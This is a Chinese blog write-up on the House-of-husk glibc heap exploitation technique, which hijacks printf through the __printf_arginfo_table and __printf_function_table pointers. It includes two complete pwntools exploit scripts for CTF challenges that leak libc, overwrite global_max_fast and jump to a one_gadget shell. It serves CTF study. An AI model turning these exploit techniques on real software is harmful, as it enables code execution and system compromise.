Niyah

House-of-husk学习

新姿势

# House-of-husk 学习

# 利用原理

参考链接:高 Glibc 版本下的堆骚操作解析

利用了 printf 的一个调用链

printf->vfprintf->printf_positional->__parse_one_specmb->__printf_arginfo_table(spec) 

_parse_one_specmb 函数会调用 __printf_arginfo_table 和__printf_function_table 两个函数指针中对应 spec 索引的函数指针 printf_arginfo_size_function

这个 spec 索引指针就是格式化字符的 ascii 码值,比如 printf ("% s"),那么就是 s 的 ascii 码值。

即调用 (__printf_arginfo_table+'spec’8) 和 (printf_function_table+'spec’8) 这两个函数指针。

实际情况会先调用__printf_arginfo_table 中对应的 spec 索引的函数指针

# 利用条件

调用的前提便是__printf_arginfo_table 和__printf_function_table 均不为 0,当然大前提是程序要有 printf 和格式化字符串参数

  • __printf_function_table != 0
  • __printf_arginfo_table = heap_addr
  • heap_addr+‘spec’*8 = one_gadget

其中 heap_addr 可以为任何可控地址

如果我们可以将可控的地址写到 __printf_arginfo_table 和 __printf_function_table 便可以进行利用,如 large bin attack 写入堆地址

# 例题

# readme_revenge

首先是对 name 进行输入,其中 name 存在于 bss 段

image-20220126185959019

那么我们可以直接从 bss 段溢出覆盖各种我们需要的条件

# -*- encoding: utf-8 -*-
import sys 
import os 
import requests
from pwn import * 
binary = './readme_revenge'
os.system('chmod +x %s'%binary)
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
DEBUG = 1
if DEBUG:
    libc = elf.libc
    p = process(binary)
    # p = process(['qemu-arm', binary])
    # p = process(['qemu-arm', binary,'-g','1234'])
    # p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
    host = ''
    port = ''
    p = remote(host,port)

l64 = lambda            : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda            : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a          : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a          : ras(u32(p.recv(a).ljust(4,'\x00')))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda x = 12     : int( p.recv(x) , 16)

def ras( data ):
    lg('leak' , data)
    return data

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def cmd(num):
    sla('>',num)

def attack():
    
    flag_addr = 0x00000000006B4040
    name_addr = 0x00000000006B73E0
    argv_addr = 0x00000000006b7980

    __printf_function_table_addr = 0x00000000006B7A28
    __printf_arginfo_table_addr = 0x00000000006B7AA8
    # 由于是静态连接,这两个地址可以自己去 printf 函数中去找
    
    stack_chk_fail = 0x00000000004359b0
    
    payload  = p64(flag_addr)
    payload  = payload.ljust(0x73*8 , '\x00')
    payload += p64(stack_chk_fail) #设置要执行的函数
    payload  = payload.ljust(argv_addr - name_addr , '\x00')
    payload += p64( name_addr ) #设置 argv[0] 即程序名地址为 flag 的地址、
    payload  = payload.ljust(__printf_function_table_addr - name_addr , '\x00')
    payload += p64(1)
    payload  = payload.ljust(__printf_arginfo_table_addr - name_addr , '\x00')
    payload += p64( name_addr ) #设置要执行的函数地址 (需要算好偏移)

    # 本题输入在bss段,可以将下面的东西全部覆盖到
    sl(payload)

    # p.success(getShell())
    p.interactive()

attack()

'''
@File    :   readme_revenge.py
@Time    :   2022/01/26 18:11:40
@Author  :   Niyah 
'''

# 送分题

本题逻辑很清晰,且可以申请两个特别大的块,并且有个 uaf 可以对 unsorted bin 进行修改,我们泄露出 libc 地址后直接攻击 global_max_fast 让特别大的块也属于 fast bin 随后释放两个大块的时候就会把这两个大块的地址写到 main_arena 附近,如果我们控制好堆块大小,可以直接写到 __printf_arginfo_table 和 __printf_function_table

此时让__printf_arginfo_table 处指向的这个堆块的合适位置为一个函数指针,便可以在 printf 的时候调用这个函数从而 getshell

1

# -*- encoding: utf-8 -*-
import sys 
import os 
import requests
from pwn import * 
binary = './sftpwn'
os.system('chmod +x %s'%binary)
context.binary = binary
context.log_level = 'debug'
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
DEBUG = 1
if DEBUG:
    libc = elf.libc
    p = process(binary)

else:
    host = ''
    port = ''
    p = remote(host,port)

l64 = lambda            : ras(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
l32 = lambda            : ras(u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')))
uu64= lambda a          : ras(u64(p.recv(a).ljust(8,'\x00')))
uu32= lambda a          : ras(u32(p.recv(a).ljust(4,'\x00')))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': \033[1;36m 0x%x \033[0m' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda x = 12     : int( p.recv(x) , 16)

def ras( data ):
    lg('leak' , data)
    return data

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def cmd(num):
    sla('>',num)

def attack():
    
    __printf_arginfo_table = 0x3ec870
    __printf_function_table = 0x3f0658
    main_arena = libc.sym['__malloc_hook']-0x10 

    size1 = (__printf_arginfo_table - main_arena)*2 - 0x50
    size2 = (__printf_function_table - main_arena)*2 - 0x50
    # 算好 size ,让其 free 时刚好在 __printf_arginfo_table 和 __printf_function_table
    lg('size1',size1)
    lg('size2',size2)

    sla('big box, what size?' , size1)
    sla('bigger box, what size?' , size2)
    sla('rename?(y/n)' , 'y')

    __malloc_hook = l64() - 0x70
    libc.address = __malloc_hook - libc.sym['__malloc_hook']
    global_max_fast = libc.address + 0x3ed940
    ogg = libc.address + 0x10a45c

    lg('global_max_fast',global_max_fast)
    lg('ogg',ogg)

    sla('name' , flat(global_max_fast - 0x10 , global_max_fast - 0x10))
    sla('(1:big/2:bigger)' , 1)

    payload = 'a'*8*(0x73-2) + p64(ogg)*2
    # q:为什么要 -2 ?
    # a:因为堆块头部包含了 0x10 大小
    
    # dbg()
    sla(':' , payload)
    
    # p.success(getShell())
    p.interactive()

attack()

'''
@File    :   sftpwn-wp.py
@Time    :   2022/01/26 16:20:33
@Author  :   Niyah 
'''

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。